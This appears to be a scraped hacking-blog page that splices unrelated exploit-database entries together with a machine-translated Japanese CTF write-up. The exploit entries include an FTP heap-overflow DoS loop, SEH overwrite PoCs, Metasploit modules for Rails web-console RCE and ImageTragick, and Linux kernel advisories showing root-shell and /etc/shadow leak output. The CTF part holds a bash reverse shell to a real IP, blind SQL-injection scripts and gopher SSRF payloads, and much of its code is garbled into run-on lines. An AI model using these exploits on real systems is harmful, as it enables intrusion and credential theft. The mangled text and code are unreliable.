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About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# -*- coding: cp1252 -*-
# Exploit Title: Core FTP Server 32-bit - Build 587 Heap Overflow
# Date: 05/10/2016
# Exploit Author: Paul Purcell
# Contact: ptpxploit at gmail
# Vendor Homepage: http://www.coreftp.com/
# Vulnerable Version Download:  http://coreftp.com/server/download/archive/CoreFTPServer587.exe
# Version: Core FTP Server 32-bit - Build 587 32-bit
# Tested on: Windows XP SP3 x32 English, Windows 7 Pro x64 SP1 English, Windows 10 Pro x64 English
# Category: Remote Heap Overflow PoC
#
# Timeline: 03/03/16 Bug found
#           03/04/16 Vender notified
#           03/06/16 Vender replied acknowledging the issue
#           04/07/16 Vender releases Build 588 which fixes the issue.
#           05/10/16 Exploit Released
#
# Summary:  This exploit allows for a post authentication DOS.  The server does not do proper bounds checking on
#           server responses.  In this case, the long 'MODE set to ...' reply invoked by a long TYPE command
#           causes a heap overflow and crashes the server process.
#
#           Crash info:
#
#           0133FA2C  32 30 30 20 4D 4F 44 45  200 MODE
#           0133FA34  20 73 65 74 20 74 6F 20   set to
#           0133FA3C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA44  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA4C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA54  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA5C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA64  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA6C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA74  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA7C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA84  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA8C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA94  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FA9C  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAA4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAAC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAB4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FABC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAC4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FACC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAD4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FADC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAE4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAEC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAF4  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FAFC  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FB04  41 41 41 41 41 41 41 41  AAAAAAAA
#           0133FB0C  58 02 00 00 8E EB 31 57  X..Žë1W
#
#           00439827   . 8B86 3C040000  MOV EAX,DWORD PTR DS:[ESI+43C]           ;  ESI invalid address: DS:[4141457D]=???
#           0043982D   . 85C0           TEST EAX,EAX
#
#           DS:[4141457D]=???
#           EAX=00000000
#
#           EAX 00000000
#           ECX 00000000
#           EDX 00000001
#           EBX 01141B90
#           ESP 0142C06C
#           EBP 0143FB3C
#           ESI 41414141
#           EDI 00000000
#           EIP 00439827 coresrvr.00439827
#           C 1  ES 0023 32bit 0(FFFFFFFF)
#           P 1  CS 001B 32bit 0(FFFFFFFF)
#           A 1  SS 0023 32bit 0(FFFFFFFF)
#           Z 0  DS 0023 32bit 0(FFFFFFFF)
#           S 1  FS 003B 32bit 7FFD8000(FFF)
#           T 1  GS 0000 NULL
#           D 0
#           O 0  LastErr ERROR_SUCCESS (00000000)
#           EFL 00000397 (NO,B,NE,BE,S,PE,L,LE)
#           ST0 empty
#           ST1 empty
#           ST2 empty
#           ST3 empty
#           ST4 empty
#           ST5 empty
#           ST6 empty
#           ST7 empty
#                          3 2 1 0      E S P U O Z D I
#           FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
#           FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

import time
import socket
from ftplib import FTP

host='yourhost'             #host or IP
port=21                     #port
u="youruser"                #username
p="yourpass"                #password
pause=3                     #pause between login & command attempts, normally 3 seconds is plenty of time.
command="TYPE "
evil="A"*211                #Any more, and the program warns of buffer overflow attempt and ignores the command
evilTYPE=(command+evil)     #Evil type command

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
open = sock.connect_ex((host,port))
sock.close()

if (open == 0):
    print "FTP is up, lets fix that..."
    while (open != 10061):
        print "Connecting to send evil TYPE command..."
        ftp = FTP()
        ftp.connect(host,port)
        ftp.login(u,p)
        ftp.sendcmd(evilTYPE)
        ftp.close()
        time.sleep(pause)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        open = sock.connect_ex((host,port))
        sock.close()
    print "No more files for you!"
else:
    print "Port "+str(port)+" does not seem to be open on "+host
            

ウェブ

1.Middle_magic

%0a最初のレベルをバイパスし、##に%23を追加します#

アレイは2番目のレベルをバイパスします

JSON弱いタイプの比較

http://182.116.62.85:20253/?AAA=%0APASS_THE_LEVEL_1%23POST:admin []=1Root_pwd []=2Level_3={'result':0} flag {f03d41BF6C8D55F12324FD57A

2.EASY_SQL_2

ログイン機能、パスパスのユーザー名とパスワード。管理者、管理下のパスワードログインを正常に試してみてください。しかし、プロンプトフラグはここにありません。ユーザー名は-1 '||' 1 '%23を試し、パスワードエラーであることがわかりました。したがって、バックエンドは、着信ユーザー名に基づいて対応するパスワードを見つける必要があると推測されました。それをチェックした後、それはもはやユーザー名エラーではありませんでした、そして、その後、受信パスワードはMD5後のこのパスワードと比較され、同じログインが成功しました。 SQLインジェクションを試してみてくださいが、禁止が選択されているので、テーブルインジェクションを使用してください。データベース名は簡単に注入できます。また、regexpを使用せずにテーブルを使用せずにCTFであることを通知してから、テーブル名を呼び出すこともできます。テーブルはろ過されていますが、列はろ過されていません。 Information_schema.columnを使用して、盲目的にテーブル名を発行できます:mysql8.0、tableステートメント:

mysql.innodb_table_statsを使用したフィルタリングinformation_schema.table

admin '/**/and/**/((' ctf '、'%s '、3,4,5,6)=/**/(table/**/mysql.innodb_table_stats/**/limit/**/2,1)#フラグテーブルFL11aagに注意してください

ヘキサデシマルのメモ:

Stringimport requestsimport timereq=requests.session()url='http://182.116.62.85:26571/login.php'def hh():ペイロード='admin'/**/and/**/(ascii(subst((table/**/fl11aag/limit/**/1,1))、%s、1))=%s# 'chars=strint.printable.replace('。 '、' ') '_ \ {}' result='' for i in range(1,100): in j in range(48,125): data={'username':payload%(i、j)、' password':'admin '} req=rep.text if' success print(j)result +=chr(j)#print((chr(j))、end='')#payload%(chr(j-1) +'%s')print(result)breakhh()またはcoding:utf-8-* - * - requestsdef bind_sql()3360 flag='' dic='dic=' dic '〜} | {zyxwvutsrqponmlkjihgfedcba` _^] \ [zyxwvutsrqponmlkjihgfedcba@?=;9876543210/- 、+*)(%$#! flag + j#payload='11' ||( 'ctf'、binary '{}'、1,2,3,4)(table/**/mysql.innodb_table_stats/**/limit/**/1,1) '11'||(binary'{}')(table/**/ctf.fl11aag/**/limit/**/1,1)#'.format(_) print(payload) data={ 'username': payload, 'password': 'admin' } res=requests.post(url=url, data=data) if 'success' in res.text: if j=='〜' : flag=flag [:-1] +chr(ord(flag [-1]) +1)print(flag)exit()flag +=j break(flag)break(flag)flag==f: break return flagif __name__=='__main __' : url=url='http://182.116.62.85336026571/login.php' result=bind_sql()print(result)

3。 Easy_sql_1

gopher hitインデックス、管理者/管理者を試して、Cookieを見つけました。それをデコードした後、それは管理者でした。単一の引用にエラーがあったことをテストし、注入されました。 Inject admin ')およびupdateXml(1、concat(0x7e、(selectsubstr((selectflagfromflag)、1,40))、1)#

経験:

Gopher: //127.0.0.1336080/_Post%20/index.php%20http/1.1%0d%0ahost%3a%20127.0.0.1% Kie%3a%20this_is_your_cookie%3dywrtaw4nksbhbhbmqgdxbkyxrleg1skdesy29uy2f0kdb4 n2uskhnlbgvjdcbzdwjzdhiokhnlbgvjdcbmbgfnigzyb20gzmxhzyksmsw0mckpkswxksm%3d% 0D%0ACONTENT-LENGNG%3A%2024%0D%0A%0D%0AUNAME%3DADMIN%26PASSWD%3DADMIN%0D%0A古いログインインターフェイス、それは内側ではないと言って、F12を見てください。 cookie:this_is_your_cookie=ywrtaw4=、Cookieを持ち上げて、いくつかの試みの後に投稿のエコーがないことを発見します。Cookieを注入し、Admin'Base64を暗号化してください。 QUOTEDATA='' 'POST/HTTP/1.1HOST: 127.0.0.1:80CONTENT-TYPE:アプリケーション/X-WWW-FORM-URLENCODEDCOOKIE: this_is_your_cookie=ltenkx8dxbkyxrleg1skdesy29uy2f0kdeskhnlbgvjdcbncm91cf9jb25jyxqozm xhzykgznjvbsbmbgfnkswxkswxksm=; phpsessid=susn9dj4f1806v0pl5oiureek1; content-length: {} {} '' '' payload='uname=adminpasswd=admin'length=len(payload)data=data.format(length、payload)data=quote(data、' utf-8 ')url=' 3358182.116.6.62.853:28303/use.php'params={ 'url':'gopher: //127.0.0.1:80/_'+data} headers={'cookie':'phpsessid=8ek3l5l5vvestgbtttu3'} r=requestss.get(url、params=headers=headers))

4。スプリング

タイトルはCVE-2017-4971-spring webフローリモートコード実行脆弱性です

Xman Original Title:

https://www.xctf.org.cn/library/details/8ad0f5b6ac740ec0930e948a40f34a67b3d4f565/

ログインページを入力した後、指定されたアカウントに記入してログインします

1049983-20211222172610203-1304977782.jpg

次に、http://IP/HOTELS/1ページにアクセスして、[ホテルのホテル]をクリックします

1049983-20211222172610699-1834957056.jpg

次に、情報をさりげなく入力し、[進行]ボタンをクリックして確認ページにジャンプします

1049983-20211222172611257-788518227.jpg

[確認]をクリックしてパケットをキャッチし、ペイロードを入力してリスニングを開始します。

1049983-20211222172611684-148155505.jpg

_EVENTID_CONFIRM=_CSRF=BCC5CE94-5277-4064-B5F7-850432E3D2F0_(new+java.lang.processbu Ilder( 'bash'、 '-c'、 'bash+-i+%26+/dev/tcp/121.40.134.251/10086+0%261'))。start()=valhub

1049983-20211222172612180-248938809.jpg

次に、サーバーが接続するのを待つためにパケットを送信します

1049983-20211222172612683-1755738677.jpg

getShellに成功し、ルートディレクトリでflag.txtファイルを見つけて、フラグを参照してください

flag:xman {ughoixoedae6zeethaxoh1eex3xeij7y}

5. easypy

?phpinclude 'utils.php'; if(isset($ _ post ['buess'])){$ yesuns=(string)$ _post ['buess']; if($ buess===$ secret){$ message='おめでとう!フラグは: 'です。 $ flag; } else {$ message='間違っています。もう一度やり直してください'; }} if(preg_match( '/utils \ .php \/*$/i'、$ _server ['php_self'])){exit( 'hacker :)');} if(preg_match( '/show_source/'、$ _server ['request_uri'] :) ');} if(isset($ _ get [' show_source ']))){highlight_file(basename($ _ server [' php_self '])); exit();} else {show_source(__ file__);}?元のタイトルは変更されています。参照接続:https://www.gem-love.com/ctf/1898.html

直接電話:http://182.116.62.85336021895/index.php/utils.php/%81?show [source

または/index.php/utils.php/%ff/?show [Source

1.designeachStep

1049983-20211222172613234-561347357.jpgfigure1: functionmain(){java.perform(function(){varbytestring=java.use( 'com.android.okhttp.okio.bytestring'); java.use( 'java.util.arrays')=function(x、y){console.log( 'start .'); varresult=this。1049983-20211222172613682-1601679703.jpgFigure2: Get Flag:Flag {DE5_C0MPR355_M@Y_C0NFU53}

2.Areyourich

最終バランスに応じて、49999999を超えている必要があります。1049983-20211222172614134-1987544984.jpgFIGURE31049983-20211222172614553-599983848.jpgFIGURE4:ログインと購入フラグ1049983-20211222172614980-222289484.jpgフラグ:フラグ{Y0U_H@v3 _@_ 107_0F_M0N3Y !}0xff。 s=[0x1e、0,7,0xce、0xf9,0x8c、0x88,0xa8,0x52,0x99,0x19,0x15,0x66,0x2e、0 Xaf、0xf6,0x43,0x2c、0xc9,0xca、0x66,0xaa、0x4c、0,0xd6,0xff、0x44,0x BD、0x72,0x65,8,0x85,0x12,0x7f、0x13,0x24,0xfc、0x24,0x33,0x23,0x97,0xb 2] s1=[0x78,108,0x66,0xa9,0x82,0xb5,0xbe、0xcb、0x64,0xa0,0x2f、0x21,0x50 、3,0x97,0xc7,0x7b、0x18,0xe4,0xfe、0x55,0x9c、0x7f、0x2d、0x1d、0xb2,0x9a、0x7d、0x90,0x45,0x56,0x6e、0xb2,0x21,0x46,0x2b、0x14,0xca、0x12,0x50,0x1 2,0xea、0xb2] print(len(s))flag='' foriinrange(len(s)):flag+=chr(s [i]^s1 [i])print(flag)または一般的に、この種の質問が1つずつチェックされるので、この種の質問を好みます。メインテキストに戻る:IDAロードファイル:1049983-20211222172615536-614988355.jpgプログラムは「%36S」と言って実行を開始しますが、実際には42ビット、嘘つきを入力する必要があります。開始して、機能の束を見ると、それぞれが似ているように見えることがわかり、フラグがビットごとに検証され、フラグが関数に対応するかどうかを推測します。デバッグや他のものはまだかなり疲れています(フラグがまったくチェックされている方法がわからないことはわかりません)。怠zyになるために、ここでユニコーンを直接使用し、printfとscanfが開始関数で呼び出される場所にパッチを当て、次にscanfをフックしてフラグをメモリに入力できるようにします。

これにより、プログラムの入力および検証関数を実行できます。以下は、このプログラムのために書いたUNIDBGクラスです。Unicorn.x86_constインポートから *capstoneインポートから *Import *Import binasciipetition_base=0x0 b '\ x01'、b '\ x02'、b '\ x03'、b '\ x04'、b '\ x05'、b '\ x06'、b '\ x07'、b '\ x08'、b '\ x09'、b '\ x0a b '\ x0e'、b '\ x0f'、b '\ x10'、b '\ x11'、b '\ x12'、b '\ x13'、b '\ x14'、b '\ x15'、b '\ x16'、b '\ x17'、b b '\ x1b'、b '\ x1c'、b '\ x1d'、b '\ x1e'、b '\ x1f'、b '\ x20'、b '\ x21'、b '\ x22'、b '\ x23'、b '\ x24'、b '\ x25'、b '\ x27'、b '\ x27 b '\ x28'、b '\ x29'、b '\ x2a'、b '\ x2b'、b '\ x2c'、b '\ x2d'、b '\ x2e'、b '\ x2f'、b '\ x30'、b '\ x31 b '\ x35'、b '\ x36'、b '\ x37'、b '\ x38'、b '\ x39'、b '\ x3a'、b '\ x3b'、b '\ x3c'、B '\ x3d'、b '\ x3e b '\ x42'、b '\ x43'、b '\ x44'、b '\ x45'、b '\ x46'、b '\ x47'、b '\ x48'、b '\ x49'、b '\ x4a'、b '\ x4b'、b '\ x4c'、b '\ x4d'、 b '\ x4f'、b '\ x50'、b '\ x51'、b '\ x52'、b '\ x53'、b '\ x54'、b '\ x55'、b '\ x56 b '\ x5c'、b '\ x5d'、b '\ x5e'、b '\ x5e'、b '\ x5f'、b '\ x60'、b '\ x61'、b '\ x62'、b '\ x63'、b '\ x64'、

#!/usr/bin/python
#Author: Zahid Adeel
#Author Email: exploiter.zee@gmail.com
#Title: Ipswitch WS_FTP LE 12.3 - Search field SEH Overwrite POC
#Vendor Homepage: http://www.wsftple.com/ 
#Software Link: http://www.wsftple.com/download.aspx
#Version: LE 12.3
#Tested on: Windows 8.1 x64 Pro
#Date: 2016-05-10

#Steps:
#Run WS_FTP LE client, Navigate to "Local Search" option in the Tools menu, paste the contents of wsftple-poc.txt in search field and press Enter.

fname="wsftple-poc.txt"

junk = "A" * 840
n_seh = "BBBB"
seh = "CCCC"

padding = "F" * (1000 - len(junk) - 8)
poc = junk + n_seh + ppr + padding

fhandle = open(fname , 'wb')
fhandle.write(poc)
fhandle.close()
            
#!/usr/bin/perl -w
# Title : Windows Media Player MediaInfo v0.7.61 - Buffer Overflow Exploit
# Tested on Windows 7 / Server 2008
# Download Link : https://sourceforge.net/projects/mediainfo/files/binary/mediainfo-gui/0.7.61/
#
#
# Author      :   Mohammad Reza Espargham
# Linkedin    :   https://ir.linkedin.com/in/rezasp
# E-Mail      :   reza.espargham@owasp.org
# Website     :   www.reza.es
# Twitter     :   https://twitter.com/rezesp
# FaceBook    :   https://www.facebook.com/reza.espargham
#
# Github : github.com/rezasp
#
#
#
# 1 . run perl code : perl reza.pl
# 2 . open 1.mp3 by mediainfo.exe
# 3 . Crashed ;)

use MP3::Tag;

$mp3 = MP3::Tag->new('1.mp3');
$mp3->title_set('A' x 500000);
$mp3->artist_set('A' x 500000);
$mp3->update_tags();  
$mp3->close();
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails Development Web Console (v2) Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution feature of the Ruby on Rails
        framework. This feature is exposed if the config.web_console.whitelisted_ips
        setting includes untrusted IP ranges and the web-console gem is enabled.
      },
      'Author'         => ['hdm'],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'https://github.com/rails/web-console' ]
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        => [ ['Automatic', {} ] ],
      'DefaultOptions' => { 'PrependFork' => true },
      'DisclosureDate' => 'May 2 2016',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(3000),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', '/missing404' ])
      ], self.class)
  end

  #
  # Identify the web console path and session ID, then inject code with it
  #
  def exploit
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path),
      'method'  => 'GET'
    }, 25)

    unless res
      print_error("Error: No response requesting #{datastore['TARGETURI']}")
      return
    end

    unless res.body.to_s =~ /data-mount-point='([^']+)'/
      if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')
        print_error('Error: The web console is either disabled or you are not in the whitelisted scope')
      else
        print_error("Error: No rails stack trace found requesting #{datastore['TARGETURI']}")
      end
      return
    end

    console_path = normalize_uri($1, 'repl_sessions')

    unless res.body.to_s =~ /data-session-id='([^']+)'/
      print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
      return
    end

    session_id = $1

    print_status("Sending payload to #{console_path}/#{session_id}")
    res = send_request_cgi({
      'uri'       => normalize_uri(console_path, session_id),
      'method'    => 'PUT',
      'headers'   => {
        'Accept'           => 'application/vnd.web-console.v2',
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {
        'input' => payload.encoded
      }
    }, 25)
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit

  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'ImageMagick Delegate Arbitrary Command Execution',
      'Description'     => %q{
        This module exploits a shell command injection in the way "delegates"
        (commands for converting files) are processed in ImageMagick versions
        <= 7.0.1-0 and <= 6.9.3-9 (legacy).

        Since ImageMagick uses file magic to detect file format, you can create
        a .png (for example) which is actually a crafted SVG (for example) that
        triggers the command injection.

        Tested on Linux, BSD, and OS X. You'll want to choose your payload
        carefully due to portability concerns. Use cmd/unix/generic if need be.
      },
      'Author'          => [
        'stewie',            # Vulnerability discovery
        'Nikolay Ermishkin', # Vulnerability discovery
        'wvu',               # Metasploit module
        'hdm'                # Metasploit module
      ],
      'References'      => [
        %w{CVE 2016-3714},
        %w{URL https://imagetragick.com/},
        %w{URL http://seclists.org/oss-sec/2016/q2/205},
        %w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
        %w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456}
      ],
      'DisclosureDate'  => 'May 3 2016',
      'License'         => MSF_LICENSE,
      'Platform'        => 'unix',
      'Arch'            => ARCH_CMD,
      'Privileged'      => false,
      'Payload'         => {
        'BadChars'      => "\x22\x27\x5c", # ", ', and \
        'Compat'        => {
          'PayloadType' => 'cmd cmd_bash',
          'RequiredCmd' => 'generic netcat bash-tcp'
        }
      },
      'Targets'         => [
        ['SVG file',  template: 'msf.svg'], # convert msf.png msf.svg
        ['MVG file',  template: 'msf.mvg'], # convert msf.svg msf.mvg
        ['MIFF file', template: 'msf.miff'] # convert -label "" msf.svg msf.miff
      ],
      'DefaultTarget'   => 0,
      'DefaultOptions'  => {
        'PAYLOAD'               => 'cmd/unix/reverse_netcat',
        'LHOST'                 => Rex::Socket.source_address,
        'DisablePayloadHandler' => false,
        'WfsDelay'              => 9001
      }
    ))

    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'msf.png'])
    ])
  end

  def exploit
    if target.name == 'SVG file'
      p = Rex::Text.html_encode(payload.encoded)
    else
      p = payload.encoded
    end

    file_create(template.sub('echo vulnerable', p))
  end

  def template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2016-3714', target[:template]
    ))
  end

end
            
#!/usr/bin/python
# Exploit Title     : RPCScan v2.03 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Nipun Jaswal
# Email             : mail@nipunjaswal.info
# Discovery Date    : 08/05/2016
# Vendor Homepage   : http://samspade.org
# Software Link     : http://www.mcafee.com/in/downloads/free-tools/rpcscan.aspx#
# Tested Version    : 2.03
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows 7 Home Basic
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################

#SEH chain of main thread
#Address    SE handler
#0012FAA0   43434343
#42424242   *** CORRUPT ENTRY ***

# Offset to the SEH Frame is 536
buffer = "A"*536
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code, Generally P/P/R Address
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808

In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.04.

When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first
function that touches the supplied eBPF instructions is
replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF
map file descriptors and looks up pointers for the corresponding map files.
This is done as follows:

	/* look for pseudo eBPF instructions that access map FDs and
	 * replace them with actual map pointers
	 */
	static int replace_map_fd_with_map_ptr(struct verifier_env *env)
	{
		struct bpf_insn *insn = env->prog->insnsi;
		int insn_cnt = env->prog->len;
		int i, j;

		for (i = 0; i < insn_cnt; i++, insn++) {
			[checks for bad instructions]

			if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
				struct bpf_map *map;
				struct fd f;

				[checks for bad instructions]

				f = fdget(insn->imm);
				map = __bpf_map_get(f);
				if (IS_ERR(map)) {
					verbose("fd %d is not pointing to valid bpf_map\n",
						insn->imm);
					fdput(f);
					return PTR_ERR(map);
				}

				[...]
			}
		}
		[...]
	}


__bpf_map_get contains the following code:

/* if error is returned, fd is released.
 * On success caller should complete fd access with matching fdput()
 */
struct bpf_map *__bpf_map_get(struct fd f)
{
	if (!f.file)
		return ERR_PTR(-EBADF);
	if (f.file->f_op != &bpf_map_fops) {
		fdput(f);
		return ERR_PTR(-EINVAL);
	}

	return f.file->private_data;
}

The problem is that when the caller supplies a file descriptor number referring
to a struct file that is not an eBPF map, both __bpf_map_get() and
replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If
__fget_light() detected that the file descriptor table is shared with another
task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause
the reference count of the struct file to be over-decremented, allowing an
attacker to create a use-after-free situation where a struct file is freed
although there are still references to it.

A simple proof of concept that causes oopses/crashes on a kernel compiled with
memory debugging options is attached as crasher.tar.


One way to exploit this issue is to create a writable file descriptor, start a
write operation on it, wait for the kernel to verify the file's writability,
then free the writable file and open a readonly file that is allocated in the
same place before the kernel writes into the freed file, allowing an attacker
to write data to a readonly file. By e.g. writing to /etc/crontab, root
privileges can then be obtained.

There are two problems with this approach:

The attacker should ideally be able to determine whether a newly allocated
struct file is located at the same address as the previously freed one. Linux
provides a syscall that performs exactly this comparison for the caller:
kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd).

In order to make exploitation more reliable, the attacker should be able to
pause code execution in the kernel between the writability check of the target
file and the actual write operation. This can be done by abusing the writev()
syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays
read accesses, then mmap()s a file containing a struct iovec from that FUSE
filesystem and passes the result of mmap() to writev(). (Another way to do this
would be to use the userfaultfd() syscall.)

writev() calls do_writev(), which looks up the struct file * corresponding to
the file descriptor number and then calls vfs_writev(). vfs_writev() verifies
that the target file is writable, then calls do_readv_writev(), which first
copies the struct iovec from userspace using import_iovec(), then performs the
rest of the write operation. Because import_iovec() performs a userspace memory
access, it may have to wait for pages to be faulted in - and in this case, it
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,
allowing the attacker to suspend code execution in the kernel at that point
arbitrarily.

An exploit that puts all this together is in exploit.tar. Usage:

user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)

This exploit was tested on a Ubuntu 16.04 Desktop system.

Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7


Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=807

A race condition in perf_event_open() allows local attackers to leak sensitive data from setuid programs.

perf_event_open() associates with a task as follows:

SYSCALL_DEFINE5(perf_event_open,
		struct perf_event_attr __user *, attr_uptr,
		pid_t, pid, int, cpu, int, group_fd, unsigned long, flags)
{
	[...]
	struct task_struct *task = NULL;
	[...]
	if (pid != -1 && !(flags & PERF_FLAG_PID_CGROUP)) {
		task = find_lively_task_by_vpid(pid);
		if (IS_ERR(task)) {
			err = PTR_ERR(task);
			goto err_group_fd;
		}
	}
	[...]
	event = perf_event_alloc(&attr, cpu, task, group_leader, NULL,
				 NULL, NULL, cgroup_fd);
	[...]
}

In find_lively_task_by_vpid():

static struct task_struct *
find_lively_task_by_vpid(pid_t vpid)
{
	struct task_struct *task;
	int err;

	rcu_read_lock();
	if (!vpid)
		task = current;
	else
		task = find_task_by_vpid(vpid);
	if (task)
		get_task_struct(task);
	rcu_read_unlock();

	if (!task)
		return ERR_PTR(-ESRCH);

	/* Reuse ptrace permission checks for now. */
	err = -EACCES;
	if (!ptrace_may_access(task, PTRACE_MODE_READ_REALCREDS))
		goto errout;

	return task;
errout:
	[...]
}

Because no relevant locks (in particular the cred_guard_mutex) are held during the ptrace_may_access() call, it is possible for the specified target task to perform an execve() syscall with setuid execution before perf_event_alloc() actually attaches to it, allowing an attacker to bypass the ptrace_may_access() check and the perf_event_exit_task(current) call that is performed in install_exec_creds() during privileged execve() calls.

The ability to observe the execution of setuid executables using performance event monitoring can be used to leak interesting data by setting up sampling breakpoint events (PERF_TYPE_BREAKPOINT) that report userspace register contents (PERF_SAMPLE_REGS_USER) to the tracer. For example, __memcpy_sse2() in Ubuntu's eglibc-2.19 will copy small amounts of data (below 1024 bytes) by moving them through the registers RAX, R8, R9 and R10, whose contents are exposed by PERF_SAMPLE_REGS_USER. An attacker who can bypass userland ASLR (e.g. by bruteforcing the ASLR base address of the heap, which seems to only have ~16 bits of randomness on x86-64) can e.g. use this to dump the contents of /etc/shadow through /bin/su.

(The setting of the kernel.perf_event_paranoid sysctl has no impact on the ability of an attacker to leak secrets from userland processes using this issue.)

simple_poc.tar contains a simple PoC for 64bit that only demonstrates the basic issue by leaking the result of a getpid() call from a setuid executable:


$ ./test
too early
$ ./test
data_head is at 18
RAX: 9559

(If this seems to not be working, try running "while true; do ./test; done | grep -v --line-buffered 'too early'" loops in multiple terminal windows.)


shadow_poc.tar contains a poc which leaks 32 bytes of the user's entry in /etc/shadow on a Ubuntu 14.04.3 desktop VM if ASLR has been disabled (by writing a zero to /proc/sys/kernel/randomize_va_space as root)

$ ./test
data_head is at 1080
got data: hi-autoipd:*:16848:0:99999:7:::

got data: -dispatcher:!:16848:0:99999:7:::
got data: $6$78m54P0T$WY0A/Qob/Ith0q2MzmdS
$ sudo grep user /etc/shadow
user:$6$78m54P0T$WY0A/Qob/Ith0q2MzmdSSj3jmNG117JSRJwD7qvGEUdimyTjgFpJkTNf3kyy4O31cJSBDo00b2JIQTiHhq.hu.:16911:0:99999:7:::

(If it doesn't immediately work, it might need to be re-run a few times.)

The current PoC code isn't very good at hitting the race condition, and with ASLR enabled, dumping hashes from shadow would likely take days. With a more optimized attack, it might be possible to dump password hashes in significantly less time.

Fixed in https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit?id=79c9ce57eb2d5f1497546a3946b4ae21b6fdc438


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39771.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=817

